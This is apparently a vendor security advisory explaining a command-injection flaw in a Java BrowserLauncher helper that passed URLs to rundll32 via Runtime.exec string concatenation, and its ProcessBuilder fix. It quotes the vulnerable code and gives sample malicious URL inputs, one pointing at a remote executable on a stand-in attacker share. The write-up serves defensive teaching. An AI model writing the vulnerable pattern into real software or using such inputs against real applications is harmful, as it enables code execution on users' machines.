Summary
A critical command-injection flaw lived in a very ordinary-looking piece of desktop glue code: the BrowserLauncher.openURL(String url) helper that opens a link in the user's default browser. On Windows, that method built a command line by string concatenation —
"rundll32.exe url.dll,FileProtocolHandler " + fixedURL
— and passed the result to Runtime.getRuntime().exec(). Any whitespace or metacharacter inside fixedURL escaped the author's intent and became part of the process invocation. The fix passes the URL as a discrete process argument through ProcessBuilder.
Introduction
BrowserLauncher.openURL() is the kind of utility nobody audits. It takes a URL, figures out the host operating system, and hands the URL to whatever the platform uses to open links: Desktop.browse(), open on macOS, xdg-open and friends on Linux, and rundll32.exe url.dll,FileProtocolHandler on Windows.
Three of those four paths pass the URL as a separate value. The Windows path did not. It did this:
Runtime.getRuntime().exec("rundll32.exe url.dll,FileProtocolHandler " + fixedURL);
fixedURL is a locally derived variable — in the branch just above it, the code even re-prefixes it with "file:///" when the original URL pointed at a local file ("put file:/// back in"). But the string it is derived from is the url parameter, and that parameter is whatever the caller handed in: a link embedded in a document, a help topic resolved from metadata, a value that travelled in from a protocol handler or a command-line argument. None of that is trustworthy, and none of it was validated before being spliced into a command line.
This matters beyond this one file because the mistake is subtle in Java specifically. Developers often assume Runtime.exec(String) is safe because "there's no shell involved." That assumption is half-right and entirely dangerous, as the next section explains.
Affected Versions
| Affected | not applicable (first-party code) — the BrowserLauncher.openURL(String) Windows launch path |
| Fixed in | not applicable (first-party code); fixed by the referenced pull request. Release version unknown |
| Ecosystem | maven (vendored Java desktop module) |
| CVE / GHSA | not assigned |
| CWE | CWE-78 (Improper Neutralization of Special Elements used in an OS Command) |
Because this is first-party, vendored code rather than a published dependency, there is no version range to pin. Exposure is determined by whether your build includes the BrowserLauncher utility and whether any caller can reach openURL() with a string it did not fully construct itself.
The Vulnerability Explained
Here is the vulnerable line, in context with the branch that feeds it:
if (url.startsWith("file:")) {
// ... normalization ...
fixedURL = "file:///" + fixedURL; // put "file:///" back in
}
Runtime.getRuntime().exec("rundll32.exe url.dll,FileProtocolHandler " + fixedURL);
Why "no shell" does not mean "no injection"
Runtime.getRuntime().exec(String command) does not spawn cmd.exe. What it does instead is tokenize the string with a whitespace tokenizer and then call the array form, exec(String[] cmdarray). So the single string above is split into tokens:
rundll32.exeurl.dll,FileProtocolHandler- ...everything the attacker put in
fixedURL, split on every space, tab, newline, carriage return, and form feed.
That is the whole vulnerability. The author intended fixedURL to be one argument. The runtime treats it as n arguments, where n is chosen by whoever supplied the URL. This is argument injection — the CWE-78 family — and on Windows it is handed straight to a program whose entire job is "open the thing I was given."
Exploiting this specific call
rundll32.exe url.dll,FileProtocolHandler <target> is Windows' generic "open this URL or path" entry point. It is not restricted to http and https; it resolves file paths and UNC paths too. So an attacker-supplied url needs only to survive the normalization above and arrive with a space in it:
- A URL whose tail is
something \\attacker.example\share\payload.exetokenizes into an extra argument pointing at a remote executable on an SMB/WebDAV share.FileProtocolHandleropens it, and the user's machine runs attacker code with the user's privileges. - A URL containing
file:///C:/Windows/System32/<binary>plus trailing tokens lets the attacker both pick a local target and append parameters to it, because the quoting that would have keptfixedURLintact never existed. - Even without reaching execution, truncation at the first space is a silent correctness bug: a legitimate URL containing an encoded space or a path with spaces opens the wrong thing.
The delivery vector is the interesting part, and it is not exotic. Desktop applications call a BrowserLauncher-style helper from menu actions, "visit author's page" links, error dialogs that link to documentation, and URLs stored inside the documents they open. A crafted document carrying a malicious link field, opened by a user who clicks it, is enough. No privilege escalation, no network position — just a double-click and a click.
Real-world impact
For a service or application shipping this code on Windows, the impact is arbitrary program execution in the context of the logged-in user: credential theft, persistence, ransomware staging, lateral movement. Because the launch looks like a normal browser-open action, there is very little for the user to notice and very little for endpoint tooling to flag beyond "the app spawned rundll32," which it does legitimately every time someone clicks a link.
The Fix
The change is three lines, and one of them is the actual fix.
Before:
Runtime.getRuntime().exec("rundll32.exe url.dll,FileProtocolHandler " + fixedURL);
After:
// Pass fixedURL as a single, separate process argument (not
// concatenated into a shell command string) to prevent
// shell metacharacter / argument injection.
new ProcessBuilder("rundll32.exe", "url.dll,FileProtocolHandler", fixedURL).start();
Why this solves the problem
ProcessBuilder takes an explicit argument vector. The executable is rundll32.exe, the first argument is the fixed literal url.dll,FileProtocolHandler, and fixedURL is argument two — one argument, whatever it contains. There is no tokenization step for an attacker to exploit, because there is no command string left to tokenize. Spaces inside fixedURL stay inside fixedURL; the JDK handles the platform-specific quoting required to deliver that single value to the child process intact.
Note what the fix also does not change: the DLL and entry point are now immutable literals in the argument vector, so there is no path by which attacker input could swap url.dll for another library or FileProtocolHandler for another exported function. Under the old concatenation, those tokens happened to precede the injection point, but structuring the call this way makes that guarantee explicit rather than accidental.
The fix also brings the Windows branch in line with the rest of the same method. The Unix branch already declares its launchers as an array:
String[] browsers = {
"xdg-open",
// ...
};
and invokes them with the URL as a separate element. The Windows path was the sole outlier — a useful reminder that inconsistency within a single method is a strong smell worth grepping for.
What the fix deliberately leaves to callers
url.dll,FileProtocolHandler is a broad primitive. Even with perfect argument separation, asking it to open \\host\share\payload.exe will open \\host\share\payload.exe. Argument injection is closed; scheme abuse is not. Callers that can receive untrusted URLs should validate url against an allowlist (http, https, and perhaps mailto) before openURL() is ever invoked, and reject UNC-style and file: inputs that did not originate from the application itself.
Key Takeaways
Runtime.getRuntime().exec(String)is not "safe because there's no shell." It splits the command string on whitespace before executing, so any concatenated untrusted value becomes multiple arguments. The single-String overload should be treated as deprecated in any code that touches outside input."rundll32.exe url.dll,FileProtocolHandler " + fixedURLis the exact anti-pattern — a fixed prefix plus an interpolated value is precisely the shape that argument injection exploits, because the attacker only needs to supply a space.FileProtocolHandleris a code-execution sink, not a browser. It opens local paths and UNC paths as readily ashttpsURLs, so URL-handling code must validate the scheme even after the process invocation is made safe.- When one branch of a method uses an argument array and another builds a string, the string branch is the bug. The Unix path's
String[] browserspattern was already correct; the Windows path's concatenation was the inconsistency that gave this away. urlandfixedURLare parameters, not constants. The"file:///"normalization inopenURL()made the value look locally derived and trustworthy, which is how this line survived review — derived values inherit the taint of their inputs.
How Orbis AppSec Detected This
- Source: the
urlparameter of the publicBrowserLauncher.openURL(String)method, and the locally derivedfixedURLstring built from it duringfile:normalization. - Sink:
Runtime.getRuntime().exec(String)— the single-String overload — invoked on a command line assembled by concatenatingfixedURLonto the literal"rundll32.exe url.dll,FileProtocolHandler ". - Missing control: no scheme allowlisting, no rejection of whitespace or metacharacters, and no use of an argument vector to keep the URL as one token; the whitespace tokenization performed by
exec(String)therefore let the URL expand into additionalrundll32.exearguments. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection").
- Fix: the invocation was rewritten as
new ProcessBuilder("rundll32.exe", "url.dll,FileProtocolHandler", fixedURL).start(), passing the URL as a single, discrete process argument.
Orbis AppSec detected this vulnerability automatically. Try Orbis AppSec on your repositories to find and fix issues like this.
Conclusion
This was not an exotic bug. It was one + operator in a utility method that opens links, written years ago on the reasonable-sounding assumption that Runtime.exec() without a shell cannot be injected. The whitespace tokenizer inside exec(String) quietly turned that assumption into an argument-injection primitive aimed at rundll32.exe url.dll,FileProtocolHandler — a Windows entry point that will open local executables and remote UNC paths as happily as a web page.
The remedy is the one that applies to every process launch in Java: build an argument vector, never a command line. new ProcessBuilder("rundll32.exe", "url.dll,FileProtocolHandler", fixedURL).start() is both shorter to read and structurally incapable of the splitting that made the old line dangerous. If you ship a BrowserLauncher-style helper, check its Windows branch specifically, and then check whether any caller can hand openURL() a URL it did not build itself — and if so, allowlist the scheme before the call.